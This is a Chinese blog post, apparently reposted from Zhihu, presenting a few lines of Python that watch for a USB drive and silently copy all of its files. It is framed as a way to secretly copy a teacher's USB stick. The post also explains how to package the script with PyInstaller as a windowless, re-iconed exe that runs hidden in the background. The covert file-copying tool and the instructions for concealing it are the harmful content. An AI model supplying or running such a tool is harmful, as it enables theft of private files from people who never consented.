歡迎光臨
每天分享高質量文章

用幾行python代碼偷偷複製U盤檔案

前言

上大學的時候有老師不給上課的PPT,就總想有個程式能偷偷複製老師的U盤。。。。一直沒有去實現,最近不想看論文,就想起來這個事情了,發現其實用幾行python代碼就能搞定了。分兩步,首先寫出來python代碼,其次把.py檔案轉換成exe檔案,直接在windows電腦上後臺運行。

代碼

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil

# U盤的盤符
usb_path = "E:/"
# 要複製到的路徑
save_path = "D:/haha"

while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代碼,代碼有兩個地方要改成你自己的路徑,我在代碼里註釋了

  • usb_path就是U盤的盤符,比如你的電腦有C,D盤,那麼U盤插上來以後路徑就是E盤

  • save_path就是你要把複製的檔案儲存在哪裡

Python檔案打包成exe

1. 在命令列用pip安裝 pyinstaller包

pip install pyinstaller

2.下載安裝pyinstaler運行時所需要的windows擴展pywin32

mhammond/pywin32

選擇最新版的下載,註意要選擇對應的python版本(version)和python位數(bittedness)

通過在命令列輸入python查看python版本和位數

如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令列中直接輸入下麵的指令即可

pyinstaller [opts] yourprogram.py 

引數含義

-F    指定打包後只生成一個exe格式的檔案(建議寫上這個引數)

-D    –onedir 創建一個目錄,包含exe檔案,但會依賴很多檔案(預設選項)

-c    –console, –nowindowed 使用控制台,無界面(預設)

-w    –windowed, –noconsole 使用視窗,無控制台

-p    添加搜索路徑,讓其找到對應的庫。

-i    改變生成程式的icon圖標(比如給女朋友寫的程式,換個好看的圖標,預設的很醜)

實體說明

比如你有個python程式叫test.py,絕對路徑在[D:\project],打包成一個exe格式的檔案

pyinstaller -F D:\project\test.py

條件同上,如果還希望沒有控制台的黑框框,在行程中偷偷運行

pyinstaller -F -w D:\project\test.py

條件同上,如果還希望更換程式圖標

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

運行程式

最後雙擊打開生成的exe檔案,你看不到界面,但是可以在任務管理器的後臺行程中找到,當有U盤插入,就會自動複製到你設定的地址,然後行程就會自動關閉。

作者:王先生
源自:https://zhuanlan.zhihu.com/p/38673066
赞(0)

分享創造快樂